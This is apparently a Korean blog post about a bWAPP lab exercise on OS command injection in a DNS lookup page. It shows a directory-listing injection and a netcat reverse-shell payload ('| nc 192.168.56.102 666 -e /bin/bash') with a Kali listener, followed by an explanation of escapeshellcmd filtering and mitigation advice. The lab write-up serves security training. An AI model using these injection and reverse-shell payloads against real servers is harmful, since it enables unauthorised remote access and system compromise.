실습 환경 구축은 이 글에 설명되어있다. (https://rimystory.tistory.com/18)
OS Command Injection 공격 설명: 취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하고 서버 정보를 알아내는 공격.
1. 난이도: low
commandi.php 페이지는 입력한 주소의 DNS 주소를 출력하는 기능을 가지고 있다.
이 때 서버는 이 기능을 제공하기 위해 시스템 명령어인 nslookup을 사용하여 결과를 출력한다.
만약 아래와 같이 입력하게 되면 서버 내부에서는 nslookup | ls ../../../ 가 실행되어 그 결과를 출력하는 것이다.
[결과화면]

결과를 보면 root 디렉터리 정보를 출력하는 것을 알 수 있다.
만약 넷켓(Netcat) 명령어를 입력하면 비박스의 서버 정보를 외부에서 파악할 수 있다.
공격 실습을 위해 칼리 리눅스에서 아래 명령을 실행한다.
nc -l -p 666 : 666번 포트를 열어 리스닝 모드로 넷캣을 실행하는 명령.
[실행화면]

위 명령을 실행한 상태로 브라우저에 돌아와 아래 명령을 입력한다.
| nc 192.168.56.102 666 -e /bin/bash

Lookup 버튼을 누르면 브라우저 위에 로딩 중이라는 표시가 뜬다. netcat 명령이 실행되었음을 알 수 있다.
그리고 칼리리눅스에서 원하는 명령(ex. whoami, ls / 등)을 실행하면 아래와 같이 결과가 출력된다.
[결과화면]

2. 난이도: high
난이도 상에서는 위와 같은 방법으로 인젝션 공격을 시도하여도 결과가 나오지 않는다.
이유를 확인하기 위해 /var/www/bWAPP/commandi.php 페이지의 소스코드를 확인한다.

case 1과 2(난이도 중/상)를 보면 'commandi_check' 함수를 사용하여 입력값을 검증하는 것을 볼 수 있다.
'commandi_check' 함수의 상세 로직은 아래와 같다.

(대응방안)
funtions_external.php에서 함수의 상세 로직을 보면 'escapeshellcmd' 함수를 사용하여 입력값을 검증하는 것을 볼 수 있다.
'escapeshellcmd' 함수는 시스템 Shell 로 실행할 수 있는 특수 문자에 백슬래시를 붙여 명령을 실행할 수 없도록 방어하는 함수이다. 우회하는 특수 문자는 예를 들어 # & ; ` | * ? ~ < > ^ $ 등이 있다.
가장 좋은 대응방안은 제공하는 서비스에 nslookup 같은 시스템 명령어를 사용하는 기능을 넣지 않는 것이지만, 부득이하게 사용하여야 하는 경우 위와 같은 방법으로 우회하여야 한다.
'Projects > 애플리케이션 보안' 카테고리의 다른 글
| [bWAPP] SQL Injection(GET/Search) 공격 실습 (2) | 2025.08.25 |
|---|---|
| [bWAPP] PHP Code Injection 공격 실습 (0) | 2025.08.21 |
| [bWAPP] iFrame Injection 공격 실습 (0) | 2025.08.21 |
| [bWAPP] HTML Injection - Stored (Blog) 공격 실습 (0) | 2025.08.21 |
| [bWAPP] HTML Injection - Reflected (POST) 공격 실습 (2) | 2025.08.18 |